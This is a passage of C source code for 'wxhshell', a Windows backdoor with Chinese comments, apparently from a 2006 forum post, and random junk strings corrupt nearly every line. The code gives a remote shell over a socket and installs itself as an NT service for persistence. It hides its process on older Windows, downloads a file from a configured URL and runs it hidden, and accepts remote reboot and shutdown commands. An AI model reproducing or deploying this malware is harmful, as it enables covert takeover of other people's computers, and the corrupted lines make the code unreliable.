%kL]-Z  
    switch(cmd[0]) { 9` G}GU]@}  
  w C-x'  
  // 帮助 tNYCyw{K  
  case '?': { c1h?aP  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); crU]P $a  
    break; :JCe,1!3@  
  } zqm/<]A*l  
  // 安装 J" U!j  
  case 'i': { o_?A^u  
    if(Install()) M][Zu[\*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GL3olKnL  
    else ..yLtqos  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5 0<  
    break; !KLY*bt6  
    } A~#w gLGn  
  // 卸载 e! 0Y`lQ  
  case 'r': { R![1\Yv&  
    if(Uninstall()) MXynv";<H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;\gHFG}  
    else y-vQ4G5F|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }bYk#6KX  
    break; rNeSg=j  
    } Q3aZB*$K  
  // 显示 wxhshell 所在路径 Uc5BNk7<=  
  case 'p': { -4t!k Aw`  
    char svExeFile[MAX_PATH]; ux1SQ8C*  
    strcpy(svExeFile,"\n\r"); OB\jq!"  
      strcat(svExeFile,ExeFile); JV;-P=o1B  
        send(wsh,svExeFile,strlen(svExeFile),0); HKYJgx  
    break; ,dSP%?vV  
    } ="s>lI-1a  
  // 重启 YHI@Cj  
  case 'b': { pLsJa?}R  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5 DvD  
    if(Boot(REBOOT)) }+BbwBm&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z?Qt%1q  
    else { P*{*^D N  
    closesocket(wsh); 9+co `t.  
    ExitThread(0); ZvkBF9d  
    } {WN??eys,  
    break; wj|[a,(r  
    } 8% `Jf`  
  // 关机  bj U]]  
  case 'd': { K6e_RzP,.w  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); mW_ N-z  
    if(Boot(SHUTDOWN)) 0uS6F8x@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @ \JoICz  
    else { $s!2D"wl n  
    closesocket(wsh); 1n EW'F  
    ExitThread(0); ~\[\S!"  
    } ;p/$9b.0:  
    break; $qfNEAmDf\  
    } PVX23y;  
  // 获取shell eC*-/$D  
  case 's': { o;7_*=i  
    CmdShell(wsh); V.~C.x  
    closesocket(wsh); ec"+Il  
    ExitThread(0); ^Mi&2AvS  
    break; E~eSHJ(oR7  
  } p^9u8T4l1  
  // 退出 o 9{~F`{p  
  case 'x': { -%>.Z1uj  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); rT28q .  
    CloseIt(wsh); +<\.z*  
    break; uz[5h0c  
    } mNnt9F3Eq  
  // 离开 ~{f[X3m^  
  case 'q': { h . R bdG  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !F~*Q2PZ9  
    closesocket(wsh); 7N I~47s|v  
    WSACleanup(); B&4NdL/  
    exit(1); wd0*"c@  
    break; a29rD$  
        } $+p4X# _  
  } v="2p8@F  
  } 88M$mjx  
Yb Dz{m  
  // 提示信息 Zh 3hCxXa  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9zD^4j7  
} Sz'JOBp  
  } ,[|4{qli\  
i9quP"<9  
  return; 8^av&u$  
} 5_= HtM[v]  
E>3(ff&  
// shell模块句柄 A]q"+Z]  
int CmdShell(SOCKET sock) "`aLSw75x  
{ !i*bb~  
STARTUPINFO si; PxiJ R[a  
ZeroMemory(&si,sizeof(si)); <t)D`nY\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Fun+L@:;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; tP]-u3  
PROCESS_INFORMATION ProcessInfo; o2r)K AA  
char cmdline[]="cmd"; 8@- UvT&o  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >(39K  
  return 0; QzX|c&&>u2  
} y759S)U>>p  
B kWoK/f4  
// 自身启动模式 )%=oJ!)  
int StartFromService(void) Q R<q[@)F  
{ 4l`"P~=2<  
typedef struct :;u?TFCRx  
{ 89X`U)Ws  
  DWORD ExitStatus; "L~qsFL  
  DWORD PebBaseAddress; sQ>L3F;A`  
  DWORD AffinityMask; BaUcmF2Q  
  DWORD BasePriority; S6bW?8`  
  ULONG UniqueProcessId; ?Z[`sm  
  ULONG InheritedFromUniqueProcessId; >{huaN B  
}   PROCESS_BASIC_INFORMATION; QocR)aN=+  
Qg' {RAV8  
PROCNTQSIP NtQueryInformationProcess; (2fWJ%7VG  
(_'Efpg|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; si.w1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ibIo1i//[  
>)p8^jX   
  HANDLE             hProcess; ^YwTO/Q|  
  PROCESS_BASIC_INFORMATION pbi; pQf5s7  
*='J>z.]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); j65qIw_Z  
  if(NULL == hInst ) return 0; j`pX2S  
:q,tmk h  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); gS$?#!f  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); N#"(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); U jrML  
zs@xw@  
  if (!NtQueryInformationProcess) return 0; }* s%|!{H  
U";8zplU  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,ThN/GkSC  
  if(!hProcess) return 0; ;u "BCW  
T0=%RID%=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :Lze8oY(D}  
zxffjz,Fe:  
  CloseHandle(hProcess); oz[: T3oE>  
`bx}!;{lx  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6o!Y^^/U  
if(hProcess==NULL) return 0; V'jvI  
5fqQ;r  
HMODULE hMod; "hi)p9 _cR  
char procName[255]; /a:sWmxMT  
unsigned long cbNeeded; sp'f>F2]  
`rLy7\@;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Tz{f 5c&  
Y~%9TC  
  CloseHandle(hProcess); _Nmc1azS  
Iurb?  
if(strstr(procName,"services")) return 1; // 以服务启动 [~#]p9|L  
ql_GN[c/  
  return 0; // 注册表启动 =@E X!]=x  
} (h3f$  
Oj?  |g_  
// 主模块 IGC:zZ~z  
int StartWxhshell(LPSTR lpCmdLine) O${B)C,  
{ N,M[Opm  
  SOCKET wsl; LWp#i8,  
BOOL val=TRUE; c^ifHCt|  
  int port=0; 12JmSvD  
  struct sockaddr_in door; PBo;lg`  
qZz?i  
  if(wscfg.ws_autoins) Install(); !9ytZR*  
ub,GF?9  
port=atoi(lpCmdLine); 0l&#%wmJ,  
ZIo%(IT!c  
if(port<=0) port=wscfg.ws_port; c&AJFED]<  
?1kXV n$  
  WSADATA data; |MQ_VZ{6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8M&q  
OPtFz6   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   YLVZ]fN=>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  wq@{85  
  door.sin_family = AF_INET; K.T.?ug;:  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); GjD^\d/  
  door.sin_port = htons(port); i SD?y#  
)J<VDO:_YA  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { l k?@ =U~  
closesocket(wsl); 7)U08"  
return 1; (o5^@aDr  
} ?7]UbtW[  
/ 8 0Q  
  if(listen(wsl,2) == INVALID_SOCKET) { ;Or]x?-  
closesocket(wsl); q{:]D(   
return 1; nhZ^`mP  
} ,6iXlch  
  Wxhshell(wsl); Je1'0h9d  
  WSACleanup(); f%2>pQTq@)  
C@#KZ`c)  
return 0; N!#0O.6  
aI'MVKwMk  
} TyG;BF|rwk  
Y_SB3 $])  
// 以NT服务方式启动 }Jr!a M'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) v:7_ZD6kR  
{ aViZKps`m  
DWORD   status = 0; ~As/cd>9  
  DWORD   specificError = 0xfffffff; &oXN*$/dlJ  
 a\@k5?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; J+o6*t2|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _ a`J>~$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _d`)N  
  serviceStatus.dwWin32ExitCode     = 0; &u}]3E'-k  
  serviceStatus.dwServiceSpecificExitCode = 0; :*6#(MX  
  serviceStatus.dwCheckPoint       = 0; {^jk_G\ys  
  serviceStatus.dwWaitHint       = 0; lI*uF~ 'D  
W8><  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6PyODW;R/5  
  if (hServiceStatusHandle==0) return; P1>?crw  
&4R -5i2a  
status = GetLastError(); b Y^K)0+^s  
  if (status!=NO_ERROR) (G<fvl!~  
{ 1@"os[ 9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; alV{| Vf[6  
    serviceStatus.dwCheckPoint       = 0; XQhbH^  
    serviceStatus.dwWaitHint       = 0; i+&o%nK2  
    serviceStatus.dwWin32ExitCode     = status; =)Z~ w`  
    serviceStatus.dwServiceSpecificExitCode = specificError; $[1J[eY*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); s-"oT=  
    return; |q+dTy_n  
  } |[B JZ  
8uD%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |iLf;8_:  
  serviceStatus.dwCheckPoint       = 0; ];63QJU  
  serviceStatus.dwWaitHint       = 0; 'n dXM   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Fd(o8z8Q  
} Q GoBugU  
%%h0 H[5*  
// 处理NT服务事件,比如:启动、停止 YM<F7tp4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) J7Y lmi  
{  Bl1^\[#  
switch(fdwControl) La 9:qpj  
{ W0qn$H  
case SERVICE_CONTROL_STOP: ?Zv>4+Y'  
  serviceStatus.dwWin32ExitCode = 0; IQNvhl.{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *ud/'HR8]  
  serviceStatus.dwCheckPoint   = 0; t8_i[Hw6D  
  serviceStatus.dwWaitHint     = 0; )~LqBh  
  { L+N;mI8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); agUdPl$e\  
  } .jK,6't^  
  return; %SKJ#b  
case SERVICE_CONTROL_PAUSE: og)f?4  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; U3OXO 1  
  break; L[a A4`  
case SERVICE_CONTROL_CONTINUE: E~K5n2CI  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; f C_H0h3  
  break; H5X.CcI&}  
case SERVICE_CONTROL_INTERROGATE: mF`%Z~}b  
  break; ';iLk[  
}; gH<A.5 xy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^P~NE#p5  
} eH' J  
FwaYp\z  
// 标准应用程序主函数 yD:}&!\}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) t1rAS.z&  
{ + X0db  
@ ?CEi#-  
// 获取操作系统版本 0Ma3  
OsIsNt=GetOsVer(); KnxK9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); sB+ B,DF  
Y'eE({)<K  
  // 从命令行安装 s_RUb  
  if(strpbrk(lpCmdLine,"iI")) Install(); rOA{8)jIa*  
V:*6R/Ft  
  // 下载执行文件 w3E#v&"=Y  
if(wscfg.ws_downexe) { -![>aqWmj1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) P&.-c _  
  WinExec(wscfg.ws_filenam,SW_HIDE); U{?#W  
} ibL    
JthW"{E  
if(!OsIsNt) { .\}nDT  
// 如果时win9x,隐藏进程并且设置为注册表启动 W~Ae&gcn#  
HideProc(); v FWg0 $,  
StartWxhshell(lpCmdLine); ]!'9Y}9a  
} dO!5` ]  
else S<Od`I  
  if(StartFromService()) i{2ny$55h  
  // 以服务方式启动 P`TJqJiY~  
  StartServiceCtrlDispatcher(DispatchTable); JS#AoPWA  
else G/y;o3/[Z  
  // 普通方式启动 E;-*LT&{  
  StartWxhshell(lpCmdLine); s^zX9IVnp  
{}DoRp q=  
return 0; :{'%I#k2  
}
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只看该作者 1 发表于: 2006-10-10
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